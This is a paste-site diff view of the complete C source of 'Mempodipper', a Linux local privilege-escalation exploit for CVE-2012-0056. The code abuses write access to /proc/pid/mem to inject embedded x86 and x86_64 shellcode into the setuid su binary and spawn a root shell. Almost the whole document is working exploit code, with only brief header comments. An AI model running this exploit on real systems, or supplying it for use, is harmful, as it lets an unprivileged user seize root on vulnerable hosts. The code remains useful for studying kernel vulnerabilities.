View difference between Paste ID: vSTvuf4K and 8p0s2vjS
SHOW: | | - or go back to the newest paste.
1
/*
2
 *Name : Mempodipper.c
3
 *Kernal Version : x86_64 Linux >=2.6.39
4
 *CVE : CVE-2012-0056
5
6
 * Mempodipper
7
 * by zx2c4
8
 * 
9
 * Linux Local Root Exploit
10
 * 
11
 * Rather than put my write up here, per usual, this time I've put it
12
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
13
 * 
14
 * Enjoy.
15
 * 
16
 * - zx2c4
17
 * Jan 21, 2012
18
 * 
19
 * CVE-2012-0056
20
 */
21
22
#define _LARGEFILE64_SOURCE 
23
#include <stdio.h>
24
#include <string.h>
25
#include <stdlib.h>
26
#include <sys/types.h>
27
#include <sys/stat.h>
28
#include <sys/socket.h>
29
#include <sys/un.h>
30
#include <fcntl.h>
31
#include <unistd.h>
32
#include <limits.h>
33
34
int send_fd(int sock, int fd)
35
{
36
	char buf[1];
37
	struct iovec iov;
38
	struct msghdr msg;
39
	struct cmsghdr *cmsg;
40
	int n;
41
	char cms[CMSG_SPACE(sizeof(int))];
42
43
	buf[0] = 0;
44
	iov.iov_base = buf;
45
	iov.iov_len = 1;
46
47
	memset(&msg, 0, sizeof msg);
48
	msg.msg_iov = &iov;
49
	msg.msg_iovlen = 1;
50
	msg.msg_control = (caddr_t)cms;
51
	msg.msg_controllen = CMSG_LEN(sizeof(int));
52
53
	cmsg = CMSG_FIRSTHDR(&msg);
54
	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
55
	cmsg->cmsg_level = SOL_SOCKET;
56
	cmsg->cmsg_type = SCM_RIGHTS;
57
	memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
58
59
	if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
60
		return -1;
61
	close(sock);
62
	return 0;
63
}
64
65
int recv_fd(int sock)
66
{
67
	int n;
68
	int fd;
69
	char buf[1];
70
	struct iovec iov;
71
	struct msghdr msg;
72
	struct cmsghdr *cmsg;
73
	char cms[CMSG_SPACE(sizeof(int))];
74
	
75
	iov.iov_base = buf;
76
	iov.iov_len = 1;
77
78
	memset(&msg, 0, sizeof msg);
79
	msg.msg_name = 0;
80
	msg.msg_namelen = 0;
81
	msg.msg_iov = &iov;
82
	msg.msg_iovlen = 1;
83
84
	msg.msg_control = (caddr_t)cms;
85
	msg.msg_controllen = sizeof cms;
86
87
	if ((n = recvmsg(sock, &msg, 0)) < 0)
88
		return -1;
89
	if (n == 0)
90
		return -1;
91
	cmsg = CMSG_FIRSTHDR(&msg);
92
	memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
93
	close(sock);
94
	return fd;
95
}
96
97
int main(int argc, char **argv)
98
{
99
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
100
		char parent_mem[256];
101
		sprintf(parent_mem, "/proc/%d/mem", getppid());
102
		printf("[+] Opening parent mem %s in child.\n", parent_mem);
103
		int fd = open(parent_mem, O_RDWR);
104
		if (fd < 0) {
105
			perror("[-] open");
106
			return 1;
107
		}
108
		printf("[+] Sending fd %d to parent.\n", fd);
109
		send_fd(atoi(argv[2]), fd);
110
		return 0;
111
	}
112
	
113
	printf("===============================\n");
114
	printf("=          Mempodipper        =\n");
115
	printf("=           by zx2c4          =\n");
116
	printf("=         Jan 21, 2012        =\n");
117
	printf("===============================\n\n");
118
	
119
	int sockets[2];
120
	printf("[+] Opening socketpair.\n");
121
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
122
		perror("[-] socketpair");
123
		return -1;
124
	}
125
	if (fork()) {
126
		printf("[+] Waiting for transferred fd in parent.\n");
127
		int fd = recv_fd(sockets[1]);
128
		printf("[+] Received fd at %d.\n", fd);
129
		if (fd < 0) {
130
			perror("[-] recv_fd");
131
			return -1;
132
		}
133
		printf("[+] Assigning fd %d to stderr.\n", fd);
134
		dup2(2, 6);
135
		dup2(fd, 2);
136
137
		unsigned long address;
138
		if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
139
			address = strtoul(argv[2], NULL, 16);
140
		else {
141
			printf("[+] Reading su for exit@plt.\n");
142
			// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
143
			FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
144
			char result[32];
145
			result[0] = 0;
146
			fgets(result, 32, command);
147
			pclose(command);
148
			address = strtoul(result, NULL, 16);
149
			if (address == ULONG_MAX || !address) {
150
				printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
151
				printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
152
				return 1;
153
			}
154
			printf("[+] Resolved exit@plt to 0x%lx.\n", address);
155
		}
156
		printf("[+] Calculating su padding.\n");
157
		FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
158
		char result[256];
159
		result[0] = 0;
160
		fgets(result, 256, command);
161
		pclose(command);
162
		unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
163
		unsigned long offset = address - su_padding;
164
		printf("[+] Seeking to offset 0x%lx.\n", offset);
165
		lseek64(fd, offset, SEEK_SET);
166
		
167
#if defined(__i386__)
168
		// See shellcode-32.s in this package for the source.
169
		char shellcode[] =
170
			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
171
			"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
172
			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
173
			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
174
			"\x80";
175
#elif defined(__x86_64__)
176
		// See shellcode-64.s in this package for the source.
177
		char shellcode[] =
178
			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
179
			"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
180
			"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
181
			"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
182
			"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
183
184
#else
185
#error "That platform is not supported."
186
#endif
187
		printf("[+] Executing su with shellcode.\n");
188
		execl("/bin/su", "su", shellcode, NULL);
189
	} else {
190
		char sock[32];
191
		sprintf(sock, "%d", sockets[0]);
192
		printf("[+] Executing child from child fork.\n");
193
		execl("/proc/self/exe", argv[0], "-c", sock, NULL);
194
	}
195
}